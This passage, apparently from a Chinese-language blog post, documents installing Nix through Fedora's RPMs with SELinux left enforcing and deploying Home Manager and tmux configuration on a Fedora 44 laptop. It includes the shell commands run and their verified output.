&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-nix" data-lang="nix"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;programs&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tmux&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;enable&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;terminal&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;tmux-256color&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;extraConfig&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;builtins&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;readFile&lt;/span&gt; &lt;span class="sr"&gt;../../config/tmux.conf&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;同时告诉 tmux，作为外层客户端的 Alacritty 和另一层 tmux 都支持 RGB：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;set -g allow-passthrough on
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;set -as terminal-features &amp;#39;,alacritty:RGB&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;set -as terminal-features &amp;#39;,tmux-256color:RGB&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;这里 &lt;code&gt;default-terminal&lt;/code&gt; 描述 tmux 给 pane 内程序提供什么能力，&lt;code&gt;terminal-features&lt;/code&gt; 描述 tmux 所连接的外层终端实际有什么能力，两者不能互相替代。相关语义可查 &lt;a class="link" href="https://man7.org/linux/man-pages/man1/tmux.1.html" target="_blank" rel="noopener"
&gt;tmux 手册中的 TERM、default-terminal 与 terminal-features&lt;/a&gt;。&lt;/p&gt;
&lt;p&gt;重新运行 &lt;code&gt;nix flake check --no-build&lt;/code&gt; 和 activation package 构建后，部署为 Home Manager generation &lt;code&gt;id 3&lt;/code&gt;。最后启动一个隔离的临时 tmux server 验收，实际输出为：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;default-terminal=tmux-256color
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;allow-passthrough=on
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;alacritty:RGB
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;tmux-256color:RGB
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;对应 dotfiles 提交为 &lt;code&gt;19d6347&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;参考：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a class="link" href="https://github.com/zimfw/zimfw" target="_blank" rel="noopener"
&gt;Zimfw 官方仓库&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://nix-community.github.io/home-manager/options.xhtml" target="_blank" rel="noopener"
&gt;Home Manager Appendix A：配置选项&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="安装与首次部署"&gt;安装与首次部署
&lt;/h3&gt;&lt;p&gt;安装前先确认 CPU 架构、当前 shell 和系统中尚无 Nix：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;uname -m
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;getent passwd veno
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;command&lt;/span&gt; -v nix &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nb"&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;实际结果为 &lt;code&gt;x86_64&lt;/code&gt;，用户当时仍使用 &lt;code&gt;/bin/bash&lt;/code&gt;，&lt;code&gt;command -v nix&lt;/code&gt; 没有输出。随后才完成上面的 Zsh 安装和登录 shell 切换。&lt;/p&gt;
&lt;p&gt;然后使用 Nix 官方的 multi-user 安装方式。服务器由 systemd 管理 Nix daemon，比 single-user 安装更符合这台长期运行的主机：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl -L https://nixos.org/nix/install -o /tmp/install-nix
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sha256sum /tmp/install-nix
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sed -n &lt;span class="s1"&gt;&amp;#39;1,35p&amp;#39;&lt;/span&gt; /tmp/install-nix
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sh /tmp/install-nix --daemon
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;安装脚本属于远程代码，所以没有把 &lt;code&gt;curl | sh&lt;/code&gt; 写成一条命令。实际下载了 4,267 字节，脚本本身的 SHA-256 为：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;96c10e102c88809dd9ec0bee89200c4a51eae4c9f6d8698c26b16788d131e078 /tmp/install-nix
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;文件头是 &lt;code&gt;#!/bin/sh&lt;/code&gt;；架构分支为 &lt;code&gt;Linux.x86_64&lt;/code&gt;，将下载 &lt;code&gt;releases.nixos.org&lt;/code&gt; 上的 &lt;code&gt;nix-2.34.8-x86_64-linux.tar.xz&lt;/code&gt;，脚本记录的 tarball SHA-256 为 &lt;code&gt;2c2e146b80834fe0ca201b51deeb939405b4f18e8d2071bf80b10f8123c50464&lt;/code&gt;。安装完成后重新登录 SSH，再验证：&lt;/p&gt;
&lt;p&gt;第一次执行 &lt;code&gt;sh /tmp/install-nix --daemon&lt;/code&gt; 下载完 24.17 MiB 的 tarball 后，在真正安装前中止了：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Switching to the Multi-user Installer
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;---- oh no! --------------------------------------------------------------------
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Nix does not work with selinux enabled yet!
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;see https://github.com/NixOS/nix/issues/2374
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;因此这次尝试没有安装 Nix。SELinux 是 Fedora 的系统安全边界，不能为了一个开发工具管理器直接关闭；下一步先核对安装器的覆盖选项和上游现状，再决定怎样继续。&lt;/p&gt;
&lt;p&gt;这就是在 Fedora 上写配置流的价值。架构图里一句“官方安装器”看起来干净利落，真正运行时 SELinux 会站出来提醒你：这台机器首先是 Fedora，不是 Nix 的空白画布。&lt;/p&gt;
&lt;p&gt;安装器源码中的 &lt;code&gt;main()&lt;/code&gt; 会无条件先调用 &lt;code&gt;check_selinux()&lt;/code&gt;，没有 &lt;code&gt;--force&lt;/code&gt; 开关。与此同时，&lt;a class="link" href="https://nixos.org/download/" target="_blank" rel="noopener"
&gt;Nix 官方下载页&lt;/a&gt; 本来就把 Linux multi-user 安装的前提写成了运行 systemd、&lt;strong&gt;SELinux disabled&lt;/strong&gt; 且能够使用 sudo；上面的失败并不是偶发现象。&lt;a class="link" href="https://github.com/NixOS/nix/issues/2374" target="_blank" rel="noopener"
&gt;NixOS/nix#2374&lt;/a&gt; 则是安装器引用的上游问题。&lt;/p&gt;
&lt;p&gt;好消息是 Fedora 44 已经把 Nix 正式打包进 updates 仓库。这反而更贴合本机“Fedora 管系统级应用，Nix 管用户开发工具”的边界：Nix 二进制、系统目录、build users 和 daemon 都由 RPM 管理，Home Manager 与开发工具才交给 Nix。查询仓库得到：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;span class="lnt"&gt;6
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nix.x86_64 2.34.7-2.fc44 updates
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nix-core.x86_64 2.34.7-2.fc44 updates
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nix-daemon.noarch 2.34.7-2.fc44 updates
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nix-filesystem.noarch 2.34.7-2.fc44 updates
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nix-legacy.noarch 2.34.7-2.fc44 updates
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nix-system.noarch 2.34.7-2.fc44 updates
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;&lt;code&gt;nix-daemon&lt;/code&gt; RPM 自带 &lt;code&gt;nix-daemon.service&lt;/code&gt;、&lt;code&gt;nix-daemon.socket&lt;/code&gt; 和 &lt;code&gt;/etc/profile.d/nix-daemon.sh&lt;/code&gt;；&lt;code&gt;nix-system&lt;/code&gt; 负责 &lt;code&gt;/nix/store&lt;/code&gt;、数据库、profiles 和 sysusers 配置。实际执行：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;span class="lnt"&gt;6
&lt;/span&gt;&lt;span class="lnt"&gt;7
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo dnf install -y nix nix-daemon
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo systemctl &lt;span class="nb"&gt;enable&lt;/span&gt; --now nix-daemon
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;getenforce
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nix --version
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;systemctl status nix-daemon.service --no-pager
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rpm -q nix nix-core nix-daemon nix-system
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;DNF 共安装 21 个包、占用约 21 MiB，并通过 systemd-sysusers 创建 &lt;code&gt;nixbld-1&lt;/code&gt; 到 &lt;code&gt;nixbld-10&lt;/code&gt; 十个隔离构建用户。Fedora 自带的说明文件 &lt;code&gt;/usr/share/doc/nix-core/README.fedora.md&lt;/code&gt; 明确推荐上述 daemon 模式。验收结果为：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ getenforce
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Enforcing
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ nix --version
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nix (Nix) 2.34.7
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ systemctl is-enabled nix-daemon.service
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;enabled
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ systemctl is-active nix-daemon.service
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;active
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;也就是说，Nix daemon 已经在没有削弱 SELinux 的情况下启动。安装的核心 RPM 版本完全一致：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nix-2.34.7-2.fc44.x86_64
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nix-core-2.34.7-2.fc44.x86_64
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nix-daemon-2.34.7-2.fc44.noarch
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nix-system-2.34.7-2.fc44.noarch
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nix-legacy-2.34.7-2.fc44.noarch
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;参考：&lt;a class="link" href="https://packages.fedoraproject.org/pkgs/nix/nix/" target="_blank" rel="noopener"
&gt;Fedora Packages：nix&lt;/a&gt;、&lt;a class="link" href="https://discussion.fedoraproject.org/t/f44-change-proposal-nix-package-tool-selfcontained/170391" target="_blank" rel="noopener"
&gt;Fedora 44 Nix Change Proposal 讨论&lt;/a&gt;。&lt;/p&gt;
&lt;p&gt;Fedora RPM 已经把 Flakes 与 &lt;code&gt;nix-command&lt;/code&gt; 写进 &lt;code&gt;/etc/nix/nix.conf&lt;/code&gt;，所以无需手工编辑。实际配置为：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;experimental-features = nix-command flakes
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;auto-optimise-store = true
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;extra-nix-path = nixpkgs=flake:nixpkgs
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;max-jobs = auto
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ssl-cert-file = /etc/pki/ca-trust/extracted/pem/tls-ca-bundle.pem
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;其中证书路径也正确复用了 Fedora 的 CA trust，而不是 Nix store 中另一份证书。&lt;code&gt;nix store ping --store daemon&lt;/code&gt;（Nix 提示 &lt;code&gt;ping&lt;/code&gt; 已弃用，应改用 &lt;code&gt;info&lt;/code&gt;）成功返回 daemon store 的版本 &lt;code&gt;2.34.7&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;创建并推送新的 &lt;code&gt;dotfiles&lt;/code&gt; 内容后，先建立部署前 home 快照：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;span class="lnt"&gt;6
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo snapper --config home create &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --type single &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --cleanup-algorithm number &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --description &lt;span class="s1"&gt;&amp;#39;Before first Home Manager deployment&amp;#39;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --userdata &lt;span class="nv"&gt;important&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;yes &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --print-number
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;返回编号 &lt;code&gt;8&lt;/code&gt;。此时 Fedora 没有安装 Git，直接 &lt;code&gt;git clone&lt;/code&gt; 得到 &lt;code&gt;-bash: git: command not found&lt;/code&gt;。这是一个自举问题，不值得为一次克隆让 DNF 永久安装开发工具，于是临时从 Nix shell 使用 Git：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nix shell nixpkgs#git -c git clone &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; https://github.com/U1traVeno/dotfiles.git &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; /home/veno/dotfiles
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;第一次 activation package 已经在部署前构建完成，所以直接激活它：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/tmp/home-manager-result/activate
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;实际输出依次经过 &lt;code&gt;checkLinkTargets&lt;/code&gt;、&lt;code&gt;installPackages&lt;/code&gt;、&lt;code&gt;linkGeneration&lt;/code&gt; 和 &lt;code&gt;reloadSystemd&lt;/code&gt;，没有文件冲突。修复上面的重复 completion 后，又用仓库本身的正式入口重复部署：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;home-manager switch --flake ~/dotfiles#veno@thinkpad
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
